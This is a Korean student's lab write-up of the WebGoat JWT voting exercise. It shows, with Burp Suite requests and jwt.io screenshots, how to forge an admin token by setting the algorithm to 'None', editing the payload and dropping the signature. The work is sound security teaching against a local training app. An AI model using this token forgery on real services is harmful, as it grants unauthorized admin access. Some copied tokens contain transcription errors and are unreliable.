

# 인터넷응용보안 13주차 과제

202121556 곽지현

JWT singing

Vote Now! 버튼을 클릭 -> 로그인을 먼저 하라고 메시지가 뜬다.

The screenshot shows a browser window for the WebGoat application at the URL [127.0.0.1:8080/WebGoat/start.mvc#](http://127.0.0.1:8080/WebGoat/start.mvc#). On the left, a sidebar lists challenges: Secure Passwords, (A8) Software & Data Integrity, (A9) Security Logging Failures, (A10) Server-side Request Forgery, Client side, and Challenges. The main content area has a title "Assignment" with the sub-instruction: "Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes". A modal dialog box is open, displaying the message "127.0.0.1:8080 내용: One is As a guest you are not allowed to vote, please login first. you n" and a blue "확인" (Confirm) button. Below the modal, there is a section titled "Vote for your favorite" with three items: "Admin lost password" (with a screenshot of a login page for "WEBGOAT" and a "Vote Now!" button), "Vote for your favourite" (with a screenshot of a login page for "WEBGOAT" and a "Vote Now!" button), and "Get it for free" (with a screenshot of a Samsung Galaxy phone and a "Vote Now!" button). The top right corner of the main content area shows a "Welcome back, Guest" message with a dropdown icon.

계정을 Sylvester로 변경 후 투표

The screenshot shows the same browser window after logging in as "Sylvester". The sidebar now shows "Client side" and "Challenges". The main content area still displays the "Assignment" section and the "Vote for your favorite" section. In the "Admin lost password" item, the "Vote Now!" button is replaced by a large blue box showing "36000 votes" and a star rating "★★★★ Average 4 /4". In the "Vote for your favourite" item, the "Vote Now!" button is also replaced by a large blue box showing "30000 votes" and a star rating "★★★★". The top right corner now shows "Welcome back, Sylvester" with a dropdown icon.

## HTTP history로 가서 /WebGoat/JWT/votings/login URI 요청 확인

Burp Suite Community Edition v2024.1.1.6 - Temporary Project

Proxy    Intruder    Repeater    Collaborator    Sequencer    Decoder    Comparer    Logger    Organizer    Settings

Intercept    **HTTP history**    WebSockets history    Proxy settings

Filter settings: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes
846	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
847	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
848	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
849	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
850	http://127.0.0.1:8080	GET	/WebGoat/JWT/votings/login?user=	sylvester		200	421	JSON			
851	http://127.0.0.1:8080	GET	/WebGoat/JWT/votings			200	1278	JSON			
852	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
853	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
854	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
855	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
856	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		

**Request**

Pretty    Raw    Hex

```
1 GET /WebGoat/JWT/votings/login?user=Sylvester
HTTP/1.1
2 Host: 127.0.0.1:8080
3 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
4 Accept: /*
5 Content-Type: application/json
6 X-Requested-With: XMLHttpRequest
7 sec-ch-ua-mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.117 Safari/537.36
9 sec-ch-ua-platform: "Windows"
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Dest: empty
13 Referer: http://127.0.0.1:8080/WebGoat/start.mvc
14 Accent-Rendaling: gzip deflate br
```

Event log (1)    All issues

**Response**

Pretty    Raw

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Set-Cookie: access_token=eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NDkxNzA1NzM5ImFkbWluIjoiZmFsc2UlCJlcZVyljoiU3lsdmVsdlGVyIno.8Mn7jqFoNHtT28ZWqs40Bv5a8Cy0O_0ZNBLtWDohjlyps8-dcAqnmQEDTRWfp2s3HTH-5hUYo6kYTA_ViLCCHYA
4 X-XSS-Protection: 1;
mode=block
5 X-Content-Type-Options: nosniff
6 X-Frame-Options: DENY
7 Content-Type: application/json
8 Content-Length: 0
9 Date: Tue, 27 May 2025
```

Event log (1)    All issues

**Inspector**

Request attributes    2

Request query parameters    1

Request cookies    2

Request headers    16

Response headers    8

Notes

쓰레기통 버튼을 클릭 -> admin user만이 리셋할 수 있다고 메시지가 표시됨

WebGoat

127.0.0.1:8080/WebGoat/start.mvc#

Client side    Challenges

**Assignment**

Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes

**Only an admin user can reset the votes**

Welcome back, Sylvester

Admin lost password  
In this challenge you will need to help the admin and find the password in order to login

36000 votes    Vote Now!

★★★  
Average 4 /4

Vote for your favorite  
In this challenge ...

30000 votes    Vote Now!

## Repeater로 보내고 Sylvester를 admin으로 수정 후 Send 버튼 클릭 -> 실패

The screenshot shows the Burp Suite interface with the Repeater tab selected. In the Request pane, a GET request is shown to '/WebGoat/JWT/votings/login?user=admin'. The response pane shows a 401 Unauthorized status with various headers. The Inspector pane on the right lists Request attributes, Request query parameters, Request body parameters, Request cookies, Request headers, and Response headers. The status bar at the bottom indicates 254 bytes | 5 millis.

```

Request
Pretty Raw Hex
1 GET /WebGoat/JWT/votings/login?user=admin
HTTP/1.1
2 Host: 127.0.0.1:8080
3 sec-ch-ua: "Not(A:Brand";v="24",
"Chromium";v="122"
4 Accept: */*
5 Content-Type: application/json
X-Requested-With: XMLHttpRequest
7 sec-ch-ua-mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
9 sec-ch-ua-platform: "Windows"
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Dest: empty
13 Referer: http://127.0.0.1:8080/WebGoat/start.mvc
14 Accept-Encoding: gzip, deflate, br
15 Accept-Language:
ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
16 Cookie: access_token=
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3NDkxNzA1NTMsImFkbWluIjoiZmFsc2UiLCJlc2VyljoiVGstIn0.-X0JV0qoxRh
ozr9Aa8Giu9TvVRuTwn_i3Y7fDLRpW__QxodcV5S1sf02Zkk
Cyc6RwH_FaMvNWZXBu1re8Bq0w; JSESSIONID=
_F7rRPqeMWHnNx3TxNuVtVsxErsLA-63JaaV5lj
17 Connection: close
18
19

```

요청의 access\_token 값은 복사하여 jwt.io 페이지에서 디코딩 -> admin 필드가 false로 되어 있는 것을 확인

The screenshot shows the jwt.io Debugger interface. The encoded value is a valid JWT token. The decoded header contains the algorithm 'HS512'. The decoded payload shows the fields 'iat' (1749170553), 'admin' (false), and 'user' (Tom). The signature verification section shows an error message: 'signature verification failed'.

Encoded Value: JSON WEB TOKEN (JWT)

Decoded Header:

```

{
  "alg": "HS512"
}

```

Decoded Payload:

```

{
  "iat": 1749170553,
  "admin": "false",
  "user": "Tom"
}

```

JWT Signature Verification (Optional): Enter the secret used to sign the JWT below:

SECRET: signature verification failed

Base64 URL 인코딩 사이트로 이동 -> {"alg":"None"} 으로 입력하고 인코딩 -> 인코딩 된 값 복사

The screenshot shows the 'Base64URL Encode' page from base64.guru. In the 'Text' input field, the value '{"alg":"None"}' is entered. Below the input fields, there is a large blue button labeled 'Encode data to Base64URL'. Underneath this button, the resulting Base64 URL is displayed in a box: 'eyJhbGciOiJ0b25IIn0'. A note below the result says 'The result of Base64 encoding will appear here'.

복사한 인코딩 값을 헤더 부분에 붙여 넣고 디코드된 정보가 alg : None 인지 확인

The screenshot shows the jwt.io Debugger tool. In the 'Encoded Value' section, the JSON Web Token (JWT) is pasted: 'eyJhbGciOiJ0b25IIn0.eyJpYXQiOjE3NDkxNzA1NTMsImFkbWluIjo1ZmFsc2UiLCJ1c2VyIjoiVG9tIn0.-X0JV0qoxRhocr9Aa8Giua9TvVEuTwn\_i3Y7fDLRpW\_\_QxodcY5S1sf0Z2kkCyc6RwH\_FaMvNWZXBu1re8BGq0w'. The 'Decoded Header' section shows the JSON object: { "alg": "None" }. The 'Decoded Payload' section shows the JSON object: { "iat": 1749170553, "admin": "false", "user": "Tom" }.

Base64 URL 인코딩 사이트에서 Payload 부분을 변경 -> admin을 true로 변경 -> 인코딩된 값 복사

## Base64URL Encode

Comments: 22 | Rating: 4.1/5

Base64URL Encode is a free online tool for converting data to Base64 value which can be safely used for URLs and filenames. You can submit the data you want to encode to Base64URL by typing or pasting text, uploading a file, or specifying a URL.

### Datatype

Text

### Text\*

```
{"iat":1749170553,"admin":"true","user":"Sylvester"}
```

copy clear download

Encode data to Base64URL

### Base64URL

copy clear download

```
eyJpYXQiOjE3NDkxNzA1NTMsImFkbWluIjoidHJ1ZSIslnVzZXIiOiJTeWx2ZXNOZXIifQ
```

The result of Base64 encoding will appear here

If you want to decode Base64URL string to original data, check the [Base64URL Decoder](#). Or, you may want to [decode Base64](#)

복사한 인코딩 값을 Payload 부분에 붙여 넣고 디코드된 정보에서 admin:true 인지 확인

This screenshot shows the jwt.io debugger interface. At the top, it says "This is the beta of the new jwt.io! Share feedback on new UI/UX". Below that is the "JWT Debugger" logo. The main area has tabs for "Debugger", "Introduction", "Libraries", and "Ask". A "Generate example" button is also present. On the left, there's a section for "ENCODED VALUE" containing a "JSON WEB TOKEN (JWT)" input field. The input field contains a long string of characters, with a note below it stating: "The None algorithm is not supported by this tool, which only supports JWTs that use the JWS Compact Serialization." Another note says: "Please address JWT issues to verify signature." To the right of this is the "DECODED HEADER" section, which shows a JSON object with one key: "alg": "None". Below that is the "DECODED PAYLOAD" section, which shows a JSON object with three keys: "iat": 1749170553, "admin": "true", and "user": "Sylvester". There are "COPY" and "CLEAR" buttons for both the header and payload sections. At the bottom, there are links for "Share feedback" and "Report issue".

.을 두고 서명 데이터는 지운다.

This is the beta of the new jwt.io! [Share feedback on new UI/UX](#) ↗

**JWT Debugger**

Paste a JWT below that you'd like to decode, validate, and verify.

**Encoded Value**

JSON WEB TOKEN (JWT)

COPY CLEAR

This tool only supports a JWT that uses the JWS Compact Serialization, which must have three base64url-encoded segments separated by two period ('.') characters as defined on [RFC 7515](#)

Please address JWT issues to verify signature.

eyJhbGciOiJ0b25IIn0.eyJpYXQiOjE3NDkxNzA1NTMsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTcWx2ZXNOZXIifQ.

**Decoded Header**

JSON CLAIMS TABLE

COPY ↵

```
{  
  "alg": "None"  
}
```

**Decoded Payload**

JSON CLAIMS TABLE

COPY ↵

```
{  
  "iat": 1749170553,  
  "admin": "true",  
  "user": "Sylvester"  
}
```

[Share feedback](#) | [Report issue](#)

쓰레기통 버튼을 클릭 -> HTTP history로 가서 POST 요청을 확인

Burp Project Intruder Repeater View Help

Burp Suite Community Edition v2024.1.1.6 - Temporary Project

Dashboard Target **Proxy** Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Settings

Extensions Learn

Intercept **HTTP history** WebSockets history Proxy settings

Filter settings: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes
1018	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
1019	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
1020	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
1021	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
1022	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		
1023	http://127.0.0.1:8080	POST	/WebGoat/JWT/votings			200	367	JSON			
1024	http://127.0.0.1:8080	GET	/WebGoat/service/lessonmenu.mvc			200	8075	JSON	mvc		
1025	http://127.0.0.1:8080	GET	/WebGoat/service/lessonoverview...			200	1068	JSON	mvc		

**Request**

Pretty Raw Hex

```
1 POST /WebGoat/JWT/votings HTTP/1.1
2 Host: 127.0.0.1:8080
3 Content-Length: 0
4 sec-ch-ua: "Not(A:Brand";v="24",
5 "Chromium";v="122"
6 Accept: /*
7 Content-Type:
8 application/x-www-form-urlencoded;
9 charset=UTF-8
10 X-Requested-With: XMLHttpRequest
11 sec-ch-ua-mobile: ?0
12 User-Agent: Mozilla/5.0 (Windows NT 10.0;
13 Win64; x64) AppleWebKit/537.36 (KHTML, like
14 Gecko) Chrome/122.0.6261.112 Safari/537.36
15 sec-ch-ua-platform: "Windows"
16 Origin: http://127.0.0.1:8080
17 Sec-Fetch-Site: same-origin
18 Sec-Fetch-Mode: cors
19 Sec-Fetch-Dest: empty
20 Referer:
21 http://127.0.0.1:8080/WebGoat/start.mvc
```

**Response**

Pretty Raw Hex

```
1 HTTP/1.1 200 OK
2 Connection: close
3 X-XSS-Protection: 1; mode=block
4 X-Content-Type-Options: nosniff
5 X-Frame-Options: DENY
6 Content-Type: application/json
7 Date: Tue, 27 May 2025 00:53:14 GMT
8
9 {
10   "lessonCompleted": false,
11   "feedback": "Only an admin user can reset the votes",
12   "output": null,
13   "assignment": "JWTVotesEndpoint",
14   "attemptWasMade": true
15 }
```

**Inspector**

Request attributes 2 Request cookies 2 Request headers 18 Response headers 6

Inspector Notes

Event log (1) All issues

Memory: 161.7MB

Repeater로 보낸후 요청의 access\_token 부분을 앞에서 만든 JWT 값으로 바꾼다. -> Send 버튼 클릭

The screenshot shows the Burp Suite interface with the Repeater tab selected. The Request pane contains a POST request to `/start.mvc` with the following headers and body:

```
Pretty Raw Hex
"Chromium";v="122"
Accept: /*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: access_token=eyJhbGciOiJBzIIn0.eyJpYXQiOjE3NDkxNzA1NTMsImFkbWluIjoidHJlZSIzInVzZXIiOiJTeWx2ZXNOZXIifQ.; JSESSIONID=_F7rRPqeMDwHnNx3TXNuVtVsbeLA-63JaaV5lj
Connection: close
```

The Response pane shows a 200 OK status with the following JSON content:

```
HTTP/1.1 200 OK
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Tue, 27 May 2025 00:54:54 GMT
{
    "lessonCompleted":true,
    "feedback":
        "Congratulations. You have successfully completed the assignment.",
    "output":null,
    "assignment":"JWTVotesEndpoint",
    "attemptWasMade":true
}
```

The Inspector pane shows the request attributes, query parameters, body parameters, cookies, headers, and response headers.

성공!

The screenshot shows a browser window for `WebGoat` at `127.0.0.1:8080/WebGoat/start.mvc#`. The page displays the **Assignment** challenge. The sidebar shows **Client side** and **Challenges** sections.

The main content area has the following text:

Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes

**Only an admin user can reset the votes**

**Vote for your favorite**

**Admin lost password**  
In this challenge you will need to help the admin and find the password in order to login

**1 votes**  
Vote Now!

**★★★★**  
Average 1 /4

**Get it for free**  
The objective for this challenge is to buy a Samsung phone for free.

**1 votes**  
Vote Now!

**★★★★**  
Average 1 /4